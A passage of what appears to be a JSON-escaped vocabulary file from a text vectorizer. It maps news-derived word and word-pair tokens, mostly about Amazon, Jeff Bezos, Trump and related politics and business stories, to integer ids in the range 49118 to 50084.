49118,\n  \"leaders gawande\": 49119,\n  \"talks president\": 49120,\n  \"bernie\": 49121,\n  \"long complained\": 49122,\n  \"traditional\": 49123,\n  \"rebukes\": 49124,\n  \"announced way\": 49125,\n  \"grim\": 49126,\n  \"partner amazon\": 49127,\n  \"run club\": 49128,\n  \"content elizabeth\": 49129,\n  \"giant tailors\": 49130,\n  \"reyes\": 49131,\n  \"mere mention\": 49132,\n  \"media user\": 49133,\n  \"fifths\": 49134,\n  \"efforts open\": 49135,\n  \"bizarre reason\": 49136,\n  \"new congress\": 49137,\n  \"ceo euro\": 49138,\n  \"research say\": 49139,\n  \"alice johnson\": 49140,\n  \"assistance amazon\": 49141,\n  \"skin won\": 49142,\n  \"discuss national\": 49143,\n  \"rallies news\": 49144,\n  \"human creativity\": 49145,\n  \"fresh record\": 49146,\n  \"notoriously demanding\": 49147,\n  \"trump predictions\": 49148,\n  \"tereza cristina\": 49149,\n  \"hisaccount\": 49150,\n  \"budget minded\": 49151,\n  \"transaction design\": 49152,\n  \"day hearing\": 49153,\n  \"doubleverify\": 49154,\n  \"visibility suggested\": 49155,\n  \"hiked pay\": 49156,\n  \"reuters biotech\": 49157,\n  \"personal activity\": 49158,\n  \"repeated criticism\": 49159,\n  \"seattle split\": 49160,\n  \"launched probe\": 49161,\n  \"fedex dhl\": 49162,\n  \"post defying\": 49163,\n  \"bucket\": 49164,\n  \"amazon hopes\": 49165,\n  \"probe witch\": 49166,\n  \"moths\": 49167,\n  \"conspiratorial trump\": 49168,\n  \"tailer just\": 49169,\n  \"bulb\": 49170,\n  \"cnbc sanders\": 49171,\n  \"tweeted photographs\": 49172,\n  \"empire brought\": 49173,\n  \"xenophobic religious\": 49174,\n  \"michael trump\": 49175,\n  \"government lawsuit\": 49176,\n  \"cyber robots\": 49177,\n  \"fascination\": 49178,\n  \"overstatements\": 49179,\n  \"alleging deeply\": 49180,\n  \"cuts amazon\": 49181,\n  \"130 billion\": 49182,\n  \"deserving entrepreneurs\": 49183,\n  \"600 consumers\": 49184,\n  \"duncan hunters\": 49185,\n  \"pre regulation\": 49186,\n  \"showindex getcurrentvideoindex\": 49187,\n  \"armedia\": 49188,\n  \"drake university\": 49189,\n  \"storing\": 49190,\n  \"generational\": 49191,\n  \"lime green\": 49192,\n  \"csnac seeks\": 49193,\n  \"party websites\": 49194,\n  \"period igniting\": 49195,\n  \"nukes catholic\": 49196,\n  \"cooperation\": 49197,\n  \"h6a function\": 49198,\n  \"alexis\": 49199,\n  \"pains\": 49200,\n  \"insurer aetna\": 49201,\n  \"pac group\": 49202,\n  \"companies arguing\": 49203,\n  \"theatrically\": 49204,\n  \"insider making\": 49205,\n  \"develop general\": 49206,\n  \"nostolgic\": 49207,\n  \"amazon shopper\": 49208,\n  \"helped craft\": 49209,\n  \"educationfrom\": 49210,\n  \"till murder\": 49211,\n  \"evident\": 49212,\n  \"function isn\": 49213,\n  \"amazon inside\": 49214,\n  \"survives\": 49215,\n  \"story weekend\": 49216,\n  \"dollhouse\": 49217,\n  \"trade discussions\": 49218,\n  \"countless awards\": 49219,\n  \"private correspondence\": 49220,\n  \"ferocious chairman\": 49221,\n  \"election law\": 49222,\n  \"entire packet\": 49223,\n  \"margarethmcgill\": 49224,\n  \"morrison won\": 49225,\n  \"timers\": 49226,\n  \"mueller damning\": 49227,\n  \"adventitious\": 49228,\n  \"liao\": 49229,\n  \"massive pricing\": 49230,\n  \"cuckoo netflix\": 49231,\n  \"funding lynnwood\": 49232,\n  \"sanders charges\": 49233,\n  \"makes misleading\": 49234,\n  \"removed attorney\": 49235,\n  \"old barnes\": 49236,\n  \"day says\": 49237,\n  \"unlawfully low\": 49238,\n  \"corp accumulated\": 49239,\n  \"resolution hasn\": 49240,\n  \"bezos goal\": 49241,\n  \"trump embedded\": 49242,\n  \"torrential downpour\": 49243,\n  \"contest greer\": 49244,\n  \"democraticpoliticians\": 49245,\n  \"lasting benefits\": 49246,\n  \"county new\": 49247,\n  \"procuring day\": 49248,\n  \"current lack\": 49249,\n  \"stoked furor\": 49250,\n  \"line immigration\": 49251,\n  \"make mutually\": 49252,\n  \"authorities tore\": 49253,\n  \"backfiring gop\": 49254,\n  \"tuba player\": 49255,\n  \"outcome\": 49256,\n  \"talks survivor\": 49257,\n  \"analyze drone\": 49258,\n  \"criticism amazon\": 49259,\n  \"employees talking\": 49260,\n  \"china alibaba\": 49261,\n  \"justifying breakup\": 49262,\n  \"trump confidant\": 49263,\n  \"mortgage arm\": 49264,\n  \"bremberg president\": 49265,\n  \"conscience\": 49266,\n  \"immigrant application\": 49267,\n  \"dropping policy\": 49268,\n  \"cap company\": 49269,\n  \"post writes\": 49270,\n  \"arrives later\": 49271,\n  \"comparatively tiny\": 49272,\n  \"attacked cnn\": 49273,\n  \"holly gibbs\": 49274,\n  \"power giving\": 49275,\n  \"spike\": 49276,\n  \"respectively charged\": 49277,\n  \"strategic advantage\": 49278,\n  \"thing jimmy\": 49279,\n  \"holding children\": 49280,\n  \"jeff hand\": 49281,\n  \"trump resisted\": 49282,\n  \"russia formally\": 49283,\n  \"vegan nyse\": 49284,\n  \"grow large\": 49285,\n  \"results doctored\": 49286,\n  \"wonderland moment\": 49287,\n  \"timestamputc\": 49288,\n  \"nokia teases\": 49289,\n  \"technological collaboration\": 49290,\n  \"world news\": 49291,\n  \"pre selected\": 49292,\n  \"autonomic\": 49293,\n  \"drew herdener\": 49294,\n  \"retailer sites\": 49295,\n  \"rebellion\": 49296,\n  \"693 shares\": 49297,\n  \"including department\": 49298,\n  \"fuel improvement\": 49299,\n  \"intelligence operatives\": 49300,\n  \"q1 2018\": 49301,\n  \"presence read\": 49302,\n  \"infrastructure investment\": 49303,\n  \"congresswoman approval\": 49304,\n  \"1703\": 49305,\n  \"time jeff\": 49306,\n  \"days away\": 49307,\n  \"ops bernie\": 49308,\n  \"medieval fantasy\": 49309,\n  \"news nbc\": 49310,\n  \"thanksgiving parade\": 49311,\n  \"supermarket aisle\": 49312,\n  \"internal moves\": 49313,\n  \"vaccine educational\": 49314,\n  \"nefarious entities\": 49315,\n  \"courting oil\": 49316,\n  \"texts messages\": 49317,\n  \"los\": 49318,\n  \"brought thousands\": 49319,\n  \"hm\": 49320,\n  \"disorganized\": 49321,\n  \"copper\": 49322,\n  \"essentially\": 49323,\n  \"embracing traditional\": 49324,\n  \"face ghd\": 49325,\n  \"amazing services\": 49326,\n  \"chaired\": 49327,\n  \"editors\": 49328,\n  \"welcome jason\": 49329,\n  \"mission change\": 49330,\n  \"basic label\": 49331,\n  \"weak position\": 49332,\n  \"description states\": 49333,\n  \"newspaper culture\": 49334,\n  \"broader\": 49335,\n  \"marcia lee\": 49336,\n  \"provide actual\": 49337,\n  \"prevent crime\": 49338,\n  \"actually fishing\": 49339,\n  \"abuser amazon\": 49340,\n  \"force ornery\": 49341,\n  \"liberal columnist\": 49342,\n  \"titular cia\": 49343,\n  \"mergers delrahim\": 49344,\n  \"population\": 49345,\n  \"blender\": 49346,\n  \"unmarked vehicle\": 49347,\n  \"simply connects\": 49348,\n  \"doesn break\": 49349,\n  \"galleries sanders\": 49350,\n  \"growth narrative\": 49351,\n  \"refering\": 49352,\n  \"paid hundreds\": 49353,\n  \"big agriculture\": 49354,\n  \"washington evan\": 49355,\n  \"riddance new\": 49356,\n  \"employers amazon\": 49357,\n  \"counsel team\": 49358,\n  \"segment host\": 49359,\n  \"reputation\": 49360,\n  \"12b\": 49361,\n  \"intimate photographs\": 49362,\n  \"choice overload\": 49363,\n  \"altruism\": 49364,\n  \"schools customer\": 49365,\n  \"address national\": 49366,\n  \"enterprises function\": 49367,\n  \"song gawande\": 49368,\n  \"authorization adding\": 49369,\n  \"leading platform\": 49370,\n  \"multi company\": 49371,\n  \"meeting metrics\": 49372,\n  \"retailers share\": 49373,\n  \"irishman\": 49374,\n  \"tax receipts\": 49375,\n  \"sessions right\": 49376,\n  \"constructor\": 49377,\n  \"trade rumors\": 49378,\n  \"mike coppola\": 49379,\n  \"recently appointed\": 49380,\n  \"teamwork\": 49381,\n  \"congressional colleagues\": 49382,\n  \"2017 click\": 49383,\n  \"depreciation\": 49384,\n  \"long regardless\": 49385,\n  \"visited bezos\": 49386,\n  \"commission 143\": 49387,\n  \"housing 2018\": 49388,\n  \"solar powered\": 49389,\n  \"operated corporation\": 49390,\n  \"bezos accusations\": 49391,\n  \"stormproof\": 49392,\n  \"trump library\": 49393,\n  \"soft brexit\": 49394,\n  \"martyr saint\": 49395,\n  \"overseas markets\": 49396,\n  \"laying bare\": 49397,\n  \"kowtowing\": 49398,\n  \"sood\": 49399,\n  \"support vital\": 49400,\n  \"trump magas\": 49401,\n  \"pr team\": 49402,\n  \"supposedly involves\": 49403,\n  \"pedophiles nyt\": 49404,\n  \"pass bipartisan\": 49405,\n  \"opposite path\": 49406,\n  \"zone trump\": 49407,\n  \"impose ban\": 49408,\n  \"case european\": 49409,\n  \"decisions based\": 49410,\n  \"couple neighbor\": 49411,\n  \"cheering\": 49412,\n  \"day loss\": 49413,\n  \"jack shafer\": 49414,\n  \"business reporter\": 49415,\n  \"detection tools\": 49416,\n  \"scooters\": 49417,\n  \"know spider\": 49418,\n  \"sandy hook\": 49419,\n  \"senate rebukes\": 49420,\n  \"trump kill\": 49421,\n  \"processes icann\": 49422,\n  \"14th district\": 49423,\n  \"delivery items\": 49424,\n  \"services eventually\": 49425,\n  \"louisiana lieutenant\": 49426,\n  \"recalled statement\": 49427,\n  \"rousseff\": 49428,\n  \"wild\": 49429,\n  \"events capture\": 49430,\n  \"clothing retailer\": 49431,\n  \"wiener\": 49432,\n  \"q23 bus\": 49433,\n  \"2018 buh\": 49434,\n  \"deploying powerful\": 49435,\n  \"gives cellphone\": 49436,\n  \"department appreciate\": 49437,\n  \"eden\": 49438,\n  \"amazon firm\": 49439,\n  \"delivering regular\": 49440,\n  \"antitrust angle\": 49441,\n  \"mislead people\": 49442,\n  \"individual carrier\": 49443,\n  \"strokes\": 49444,\n  \"ice cream\": 49445,\n  \"finance twitter\": 49446,\n  \"presidential center\": 49447,\n  \"dating lauren\": 49448,\n  \"denver 6th\": 49449,\n  \"olympic\": 49450,\n  \"indexes rose\": 49451,\n  \"wacky\": 49452,\n  \"street turned\": 49453,\n  \"bupkis\": 49454,\n  \"discount evaporated\": 49455,\n  \"fatally shooting\": 49456,\n  \"cable provider\": 49457,\n  \"problem advertisement\": 49458,\n  \"groceries target\": 49459,\n  \"deceased\": 49460,\n  \"300w\": 49461,\n  \"ben domenech\": 49462,\n  \"rainforest destruction\": 49463,\n  \"wegmann columnist\": 49464,\n  \"candidates vying\": 49465,\n  \"project provides\": 49466,\n  \"newton small\": 49467,\n  \"president makes\": 49468,\n  \"amazon letters\": 49469,\n  \"oppressive racist\": 49470,\n  \"photo teresa\": 49471,\n  \"finally did\": 49472,\n  \"ailes\": 49473,\n  \"lease blue\": 49474,\n  \"trillion engaging\": 49475,\n  \"lines marketing\": 49476,\n  \"gmt aric\": 49477,\n  \"landing california\": 49478,\n  \"rouven fuechtener\": 49479,\n  \"brings newspapers\": 49480,\n  \"trump angrily\": 49481,\n  \"skyhorse don\": 49482,\n  \"cycle clearing\": 49483,\n  \"monthly income\": 49484,\n  \"media relocated\": 49485,\n  \"interview published\": 49486,\n  \"palantir microsoft\": 49487,\n  \"team umizoomi\": 49488,\n  \"webster monopoly\": 49489,\n  \"4bn 76bn\": 49490,\n  \"paris auto\": 49491,\n  \"example planning\": 49492,\n  \"9653 votes\": 49493,\n  \"ad violates\": 49494,\n  \"bhagwan shree\": 49495,\n  \"appoints amazon\": 49496,\n  \"incorporated accumulated\": 49497,\n  \"final decision\": 49498,\n  \"inside scoop\": 49499,\n  \"sulzberger publisher\": 49500,\n  \"hard california\": 49501,\n  \"services paypal\": 49502,\n  \"streaming process\": 49503,\n  \"warfighter\": 49504,\n  \"gigyashareelement\": 49505,\n  \"including access\": 49506,\n  \"recent divorce\": 49507,\n  \"space cadets\": 49508,\n  \"generate cash\": 49509,\n  \"offline retailers\": 49510,\n  \"agus yudhoyono\": 49511,\n  \"1152et copyright\": 49512,\n  \"receptionist\": 49513,\n  \"moto aj\": 49514,\n  \"bush presidential\": 49515,\n  \"shoes photo\": 49516,\n  \"madrid\": 49517,\n  \"head denies\": 49518,\n  \"people lambasting\": 49519,\n  \"error function\": 49520,\n  \"jennifer salke\": 49521,\n  \"british author\": 49522,\n  \"south bass\": 49523,\n  \"impersonators\": 49524,\n  \"assorted guilty\": 49525,\n  \"seth cohen\": 49526,\n  \"ttab\": 49527,\n  \"trump tech\": 49528,\n  \"plus san\": 49529,\n  \"hasn admitted\": 49530,\n  \"donor charles\": 49531,\n  \"having women\": 49532,\n  \"best gop\": 49533,\n  \"notes section\": 49534,\n  \"flight\": 49535,\n  \"earth economic\": 49536,\n  \"getting adequate\": 49537,\n  \"halt policing\": 49538,\n  \"client conversations\": 49539,\n  \"conspiracy fox\": 49540,\n  \"sensational allegation\": 49541,\n  \"type slideshow\": 49542,\n  \"justice congress\": 49543,\n  \"following meeting\": 49544,\n  \"2017 devil\": 49545,\n  \"privately fumed\": 49546,\n  \"doesn euro\": 49547,\n  \"feat akin\": 49548,\n  \"county longtime\": 49549,\n  \"miami dolphins\": 49550,\n  \"multiple winners\": 49551,\n  \"declining revenue\": 49552,\n  \"president jack\": 49553,\n  \"backpedaling\": 49554,\n  \"jolley says\": 49555,\n  \"tax incentive\": 49556,\n  \"truest\": 49557,\n  \"called cowardly\": 49558,\n  \"bumblefuck administration\": 49559,\n  \"federation intervened\": 49560,\n  \"que\": 49561,\n  \"satellite subscription\": 49562,\n  \"long weekend\": 49563,\n  \"materialized\": 49564,\n  \"family experience\": 49565,\n  \"spec reprinted\": 49566,\n  \"twitter access\": 49567,\n  \"cpl\": 49568,\n  \"freeway\": 49569,\n  \"axsm\": 49570,\n  \"providers serving\": 49571,\n  \"businessmen\": 49572,\n  \"sources business\": 49573,\n  \"early maria\": 49574,\n  \"series dogs\": 49575,\n  \"hung sword\": 49576,\n  \"kaminsky cowered\": 49577,\n  \"says equity\": 49578,\n  \"left dangerously\": 49579,\n  \"spook\": 49580,\n  \"pledge pratt\": 49581,\n  \"security studies\": 49582,\n  \"apprehended\": 49583,\n  \"supremacists arrested\": 49584,\n  \"suffered miscarriages\": 49585,\n  \"powering\": 49586,\n  \"company warned\": 49587,\n  \"edge investors\": 49588,\n  \"quickly formed\": 49589,\n  \"alexa app\": 49590,\n  \"dolly wells\": 49591,\n  \"itasat satellites\": 49592,\n  \"deadline reports\": 49593,\n  \"zigzags\": 49594,\n  \"profiting\": 49595,\n  \"duane\": 49596,\n  \"packages postal\": 49597,\n  \"presenting sponsor\": 49598,\n  \"area romulus\": 49599,\n  \"wall harris\": 49600,\n  \"release personal\": 49601,\n  \"press shortly\": 49602,\n  \"nevertrump conservative\": 49603,\n  \"unlimited subscribers\": 49604,\n  \"contains host\": 49605,\n  \"sick note\": 49606,\n  \"older\": 49607,\n  \"dodging internet\": 49608,\n  \"changing phone\": 49609,\n  \"officials considered\": 49610,\n  \"footnote\": 49611,\n  \"jeffbezos pic\": 49612,\n  \"sorting distribution\": 49613,\n  \"initially led\": 49614,\n  \"police misogynistic\": 49615,\n  \"sharma chronicle\": 49616,\n  \"tommy robinson\": 49617,\n  \"downloads\": 49618,\n  \"images related\": 49619,\n  \"mallard fillmore\": 49620,\n  \"makes cases\": 49621,\n  \"shelter donald\": 49622,\n  \"principles\": 49623,\n  \"general electric\": 49624,\n  \"121\": 49625,\n  \"queens free\": 49626,\n  \"candid\": 49627,\n  \"800 people\": 49628,\n  \"new healthcare\": 49629,\n  \"stephen geoffrey\": 49630,\n  \"mocking\": 49631,\n  \"thriving\": 49632,\n  \"year le\": 49633,\n  \"promotes amazon\": 49634,\n  \"balls sent\": 49635,\n  \"robots jedi\": 49636,\n  \"homeowners looking\": 49637,\n  \"figures today\": 49638,\n  \"seattle juggernaut\": 49639,\n  \"personally ensure\": 49640,\n  \"charlie dent\": 49641,\n  \"group tagged\": 49642,\n  \"phrase enemy\": 49643,\n  \"editorial writer\": 49644,\n  \"missouri democratic\": 49645,\n  \"wealth far\": 49646,\n  \"bezos early\": 49647,\n  \"grammy\": 49648,\n  \"know clearly\": 49649,\n  \"constituting\": 49650,\n  \"shipping speed\": 49651,\n  \"larger feud\": 49652,\n  \"number identification\": 49653,\n  \"faced slew\": 49654,\n  \"fb free\": 49655,\n  \"proclaim\": 49656,\n  \"reuters insider\": 49657,\n  \"1988 cuomo\": 49658,\n  \"constellation brands\": 49659,\n  \"summit severe\": 49660,\n  \"feelers\": 49661,\n  \"legg\": 49662,\n  \"null ser_footer_blurb\": 49663,\n  \"4th\": 49664,\n  \"2011 madison\": 49665,\n  \"potential damage\": 49666,\n  \"diesel truck\": 49667,\n  \"breaks meaning\": 49668,\n  \"administrations customs\": 49669,\n  \"profile wins\": 49670,\n  \"story ami\": 49671,\n  \"owner fernando\": 49672,\n  \"ones\": 49673,\n  \"reducing greenhouse\": 49674,\n  \"business win\": 49675,\n  \"hike\": 49676,\n  \"individual acquainted\": 49677,\n  \"lower long\": 49678,\n  \"mohammad bin\": 49679,\n  \"electronic entry\": 49680,\n  \"make career\": 49681,\n  \"damaged amazon\": 49682,\n  \"state aid\": 49683,\n  \"work cnn\": 49684,\n  \"wealth bloomberg\": 49685,\n  \"news groups\": 49686,\n  \"plummeted\": 49687,\n  \"thebeat ari\": 49688,\n  \"newspaper reporting\": 49689,\n  \"oriented tabloid\": 49690,\n  \"cnp fraud\": 49691,\n  \"experts joined\": 49692,\n  \"cambridge capital\": 49693,\n  \"ralph northam\": 49694,\n  \"felt recently\": 49695,\n  \"list forbes\": 49696,\n  \"rude real\": 49697,\n  \"president salvador\": 49698,\n  \"050 dollars\": 49699,\n  \"trade policy\": 49700,\n  \"comprehension\": 49701,\n  \"facing legal\": 49702,\n  \"watch ex\": 49703,\n  \"defence data\": 49704,\n  \"impressive alphabet\": 49705,\n  \"tech goal\": 49706,\n  \"concerned toronto\": 49707,\n  \"lara offering\": 49708,\n  \"proposed similar\": 49709,\n  \"nationwide pharmaceutical\": 49710,\n  \"lynnette\": 49711,\n  \"actually feel\": 49712,\n  \"amazon growth\": 49713,\n  \"eu competition\": 49714,\n  \"china luckin\": 49715,\n  \"hodder stoughton\": 49716,\n  \"story italys\": 49717,\n  \"ruling allow\": 49718,\n  \"threats brings\": 49719,\n  \"hilary mantel\": 49720,\n  \"plhcf 2050\": 49721,\n  \"wishers\": 49722,\n  \"infinite data\": 49723,\n  \"harlan\": 49724,\n  \"cap sleeve\": 49725,\n  \"insider teaming\": 49726,\n  \"late regarding\": 49727,\n  \"blue origins\": 49728,\n  \"reinforce\": 49729,\n  \"misinformation buzzfeed\": 49730,\n  \"hare airport\": 49731,\n  \"homegrown rival\": 49732,\n  \"remains tight\": 49733,\n  \"border ahead\": 49734,\n  \"school recommended\": 49735,\n  \"elaine kurtenbach\": 49736,\n  \"awards\": 49737,\n  \"hawk advised\": 49738,\n  \"finance amazon\": 49739,\n  \"cheap black\": 49740,\n  \"person life\": 49741,\n  \"semiconductor equipment\": 49742,\n  \"month war\": 49743,\n  \"accessed private\": 49744,\n  \"summer wasteland\": 49745,\n  \"politico reporter\": 49746,\n  \"shipping points\": 49747,\n  \"nazi action\": 49748,\n  \"ordinary liberal\": 49749,\n  \"160 day\": 49750,\n  \"unspoken authority\": 49751,\n  \"director patricia\": 49752,\n  \"confirm work\": 49753,\n  \"restrict greenhouse\": 49754,\n  \"billy nungesser\": 49755,\n  \"possible involvement\": 49756,\n  \"strip reporters\": 49757,\n  \"shot landmark\": 49758,\n  \"companies increasingly\": 49759,\n  \"kids create\": 49760,\n  \"satin necktie\": 49761,\n  \"composite soared\": 49762,\n  \"wealthiest country\": 49763,\n  \"2018 single\": 49764,\n  \"services love\": 49765,\n  \"fundamental right\": 49766,\n  \"subsections lifestyle\": 49767,\n  \"prohibitive\": 49768,\n  \"gotten thanks\": 49769,\n  \"virginia economic\": 49770,\n  \"restarting trade\": 49771,\n  \"appropriations committee\": 49772,\n  \"cloud sen\": 49773,\n  \"40am minneapolis\": 49774,\n  \"current debate\": 49775,\n  \"markets remained\": 49776,\n  \"shockproof camera\": 49777,\n  \"assemblywoman catherine\": 49778,\n  \"higher fees\": 49779,\n  \"hill president\": 49780,\n  \"just looking\": 49781,\n  \"advisor\": 49782,\n  \"socialflow twitter\": 49783,\n  \"confessions\": 49784,\n  \"swinging\": 49785,\n  \"city california\": 49786,\n  \"brisco\": 49787,\n  \"world market\": 49788,\n  \"provide extensive\": 49789,\n  \"shifting vote\": 49790,\n  \"bronx blake\": 49791,\n  \"help competitors\": 49792,\n  \"voice concerns\": 49793,\n  \"va tweeted\": 49794,\n  \"simplify\": 49795,\n  \"reported ami\": 49796,\n  \"sara forden\": 49797,\n  \"horizon editors\": 49798,\n  \"soft tissue\": 49799,\n  \"devices including\": 49800,\n  \"opportune\": 49801,\n  \"paratroopers\": 49802,\n  \"angel chernoff\": 49803,\n  \"americans india\": 49804,\n  \"war refugee\": 49805,\n  \"owns framing\": 49806,\n  \"hands blue\": 49807,\n  \"kasie hunt\": 49808,\n  \"tax breaks\": 49809,\n  \"music modernization\": 49810,\n  \"100 million\": 49811,\n  \"respond publicly\": 49812,\n  \"hicks left\": 49813,\n  \"korean leader\": 49814,\n  \"walmart ceo\": 49815,\n  \"boy later\": 49816,\n  \"mktw following\": 49817,\n  \"funds offers\": 49818,\n  \"gcf\": 49819,\n  \"letters feature\": 49820,\n  \"dissuade criticism\": 49821,\n  \"night showed\": 49822,\n  \"behaviours trump\": 49823,\n  \"nbbj\": 49824,\n  \"industries making\": 49825,\n  \"selfies\": 49826,\n  \"confronts cbs\": 49827,\n  \"basis point\": 49828,\n  \"factual constraints\": 49829,\n  \"sshe says\": 49830,\n  \"total expenditures\": 49831,\n  \"tears drink\": 49832,\n  \"jeff talbot\": 49833,\n  \"sinisterlab usatoda\": 49834,\n  \"kuba wrzesniewski\": 49835,\n  \"morning unveiled\": 49836,\n  \"consumer electronics\": 49837,\n  \"propositioned\": 49838,\n  \"dorie greenspan\": 49839,\n  \"obama choose\": 49840,\n  \"division washington\": 49841,\n  \"reportedly crafted\": 49842,\n  \"media response\": 49843,\n  \"icpc\": 49844,\n  \"city special\": 49845,\n  \"british prime\": 49846,\n  \"isn appropriate\": 49847,\n  \"videopinner videoendslateimpl\": 49848,\n  \"cast including\": 49849,\n  \"amazon buying\": 49850,\n  \"significant long\": 49851,\n  \"called attorney\": 49852,\n  \"previous justice\": 49853,\n  \"veteran kate\": 49854,\n  \"shares climbed\": 49855,\n  \"store trump\": 49856,\n  \"factors regulators\": 49857,\n  \"reasonable\": 49858,\n  \"tweets matter\": 49859,\n  \"823 billion\": 49860,\n  \"cnl_nam\": 49861,\n  \"integrations\": 49862,\n  \"interactives ext\": 49863,\n  \"investment race\": 49864,\n  \"hl en\": 49865,\n  \"000 weekly\": 49866,\n  \"jersey maryland\": 49867,\n  \"applauds\": 49868,\n  \"durbin\": 49869,\n  \"poirier told\": 49870,\n  \"search dominance\": 49871,\n  \"strike ends\": 49872,\n  \"emails released\": 49873,\n  \"twitter ceo\": 49874,\n  \"amzn market\": 49875,\n  \"data particularly\": 49876,\n  \"view shows\": 49877,\n  \"cook romano\": 49878,\n  \"state doesn\": 49879,\n  \"counsel charged\": 49880,\n  \"unitedhealth group\": 49881,\n  \"1996 john\": 49882,\n  \"fda agreement\": 49883,\n  \"agencies nationwide\": 49884,\n  \"protracted fight\": 49885,\n  \"fact cat\": 49886,\n  \"shimmer engulfs\": 49887,\n  \"great plains\": 49888,\n  \"espn beer\": 49889,\n  \"dan primack\": 49890,\n  \"national enquirer\": 49891,\n  \"spell\": 49892,\n  \"leaders\": 49893,\n  \"francisco talent\": 49894,\n  \"ubiquitous fare\": 49895,\n  \"policymakers\": 49896,\n  \"tallahassee democrat\": 49897,\n  \"informs\": 49898,\n  \"tehran\": 49899,\n  \"metapack application\": 49900,\n  \"growers mining\": 49901,\n  \"nomination hallquist\": 49902,\n  \"global layoffs\": 49903,\n  \"mass unease\": 49904,\n  \"twins manager\": 49905,\n  \"inauthentic item\": 49906,\n  \"faso tenney\": 49907,\n  \"public profile\": 49908,\n  \"large hasn\": 49909,\n  \"feeling fabulous\": 49910,\n  \"epidemics\": 49911,\n  \"nofollow false\": 49912,\n  \"ranking security\": 49913,\n  \"ro\\u00f1o aquino\": 49914,\n  \"shirt turned\": 49915,\n  \"russia 2016\": 49916,\n  \"personal touch\": 49917,\n  \"doing things\": 49918,\n  \"lift launch\": 49919,\n  \"rational investors\": 49920,\n  \"economic deal\": 49921,\n  \"damaged politico\": 49922,\n  \"ta amazon\": 49923,\n  \"crimes relating\": 49924,\n  \"victimized\": 49925,\n  \"sewage pump\": 49926,\n  \"helping serve\": 49927,\n  \"vaccine study\": 49928,\n  \"national enquirerreports\": 49929,\n  \"finance beware\": 49930,\n  \"surely amazon\": 49931,\n  \"enquirer engaged\": 49932,\n  \"korean nuclear\": 49933,\n  \"service expected\": 49934,\n  \"best tax\": 49935,\n  \"substantial a380\": 49936,\n  \"cookbook celebration\": 49937,\n  \"specific events\": 49938,\n  \"investors digest\": 49939,\n  \"fabulous lot\": 49940,\n  \"clerk\": 49941,\n  \"global rules\": 49942,\n  \"ergonomically\": 49943,\n  \"sadly\": 49944,\n  \"mogul largest\": 49945,\n  \"rkuttnerwrites\": 49946,\n  \"buzz home\": 49947,\n  \"service investors\": 49948,\n  \"frontline\": 49949,\n  \"lucasnolan_\": 49950,\n  \"amazon minnesota\": 49951,\n  \"2f4 2f1999\": 49952,\n  \"stationary\": 49953,\n  \"hines\": 49954,\n  \"netflix transatlantic\": 49955,\n  \"childcare\": 49956,\n  \"smh\": 49957,\n  \"hits intraday\": 49958,\n  \"prices led\": 49959,\n  \"sartore\": 49960,\n  \"confront attackers\": 49961,\n  \"sailing away\": 49962,\n  \"city hq2\": 49963,\n  \"banning\": 49964,\n  \"dis taylor\": 49965,\n  \"business treasury\": 49966,\n  \"official twitter\": 49967,\n  \"350 billion\": 49968,\n  \"small towns\": 49969,\n  \"killing man\": 49970,\n  \"gall\": 49971,\n  \"sports league\": 49972,\n  \"insider reported\": 49973,\n  \"retail business\": 49974,\n  \"competing products\": 49975,\n  \"soaring economy\": 49976,\n  \"shows printed\": 49977,\n  \"crimes completing\": 49978,\n  \"fold trumps\": 49979,\n  \"headphones image\": 49980,\n  \"impacted\": 49981,\n  \"glory says\": 49982,\n  \"dollars delivering\": 49983,\n  \"cuse\": 49984,\n  \"officials trump\": 49985,\n  \"digger trope\": 49986,\n  \"day annual\": 49987,\n  \"success hudgins\": 49988,\n  \"story elite\": 49989,\n  \"elkins\": 49990,\n  \"tony\": 49991,\n  \"unionizing\": 49992,\n  \"chinese smartphone\": 49993,\n  \"internet universe\": 49994,\n  \"milestone celebration\": 49995,\n  \"coast range\": 49996,\n  \"bruce berkowitz\": 49997,\n  \"split does\": 49998,\n  \"past visit\": 49999,\n  \"decision featured\": 50000,\n  \"biggest investigation\": 50001,\n  \"wedding business\": 50002,\n  \"data safe\": 50003,\n  \"called instead\": 50004,\n  \"internet retailer\": 50005,\n  \"cohen knows\": 50006,\n  \"include alternative\": 50007,\n  \"issues president\": 50008,\n  \"signs 5yr\": 50009,\n  \"new crackdown\": 50010,\n  \"toilet facilities\": 50011,\n  \"frankly inhuman\": 50012,\n  \"offline brand\": 50013,\n  \"shouldinvestigate just\": 50014,\n  \"martin penkala\": 50015,\n  \"twitter nfl\": 50016,\n  \"1931\": 50017,\n  \"administration policy\": 50018,\n  \"warehousing\": 50019,\n  \"higher post\": 50020,\n  \"extravaganza\": 50021,\n  \"dark secret\": 50022,\n  \"recovering alcoholic\": 50023,\n  \"doors taking\": 50024,\n  \"ballard partners\": 50025,\n  \"amazon having\": 50026,\n  \"cards\": 50027,\n  \"tremendous human\": 50028,\n  \"squat rectangles\": 50029,\n  \"acquisitions amazon\": 50030,\n  \"stream congestion\": 50031,\n  \"nature continues\": 50032,\n  \"sex life\": 50033,\n  \"impact wework\": 50034,\n  \"tailer lightening\": 50035,\n  \"security vulnerability\": 50036,\n  \"homeless amazon\": 50037,\n  \"mic today\": 50038,\n  \"run according\": 50039,\n  \"dozen times\": 50040,\n  \"orders targeted\": 50041,\n  \"credit ctc\": 50042,\n  \"buy theatre\": 50043,\n  \"bezos multimillion\": 50044,\n  \"store\": 50045,\n  \"widespread sexual\": 50046,\n  \"man person\": 50047,\n  \"aqua metals\": 50048,\n  \"holds trump\": 50049,\n  \"acknowledges government\": 50050,\n  \"intervention looking\": 50051,\n  \"decaying squalid\": 50052,\n  \"seinfeld pick\": 50053,\n  \"corp completed\": 50054,\n  \"underestimating\": 50055,\n  \"consumers hand\": 50056,\n  \"active lifestyle\": 50057,\n  \"ridiculous torture\": 50058,\n  \"cfo blaming\": 50059,\n  \"essays speeches\": 50060,\n  \"redacted mueller\": 50061,\n  \"liberal outrage\": 50062,\n  \"product called\": 50063,\n  \"grooming\": 50064,\n  \"applicants look\": 50065,\n  \"bump national\": 50066,\n  \"pharmaceutical companies\": 50067,\n  \"aug perspectives\": 50068,\n  \"militant white\": 50069,\n  \"getting attacked\": 50070,\n  \"amazon speculate\": 50071,\n  \"papadopoulos president\": 50072,\n  \"identifying people\": 50073,\n  \"dynamic advisor\": 50074,\n  \"leaped\": 50075,\n  \"amazon receives\": 50076,\n  \"major consequences\": 50077,\n  \"second headquarters\": 50078,\n  \"venezuela border\": 50079,\n  \"reviewing\": 50080,\n  \"burglary\": 50081,\n  \"300 points\": 50082,\n  \"private home\": 50083,\n  \"ways pence\": 50084,\n  \"nyse 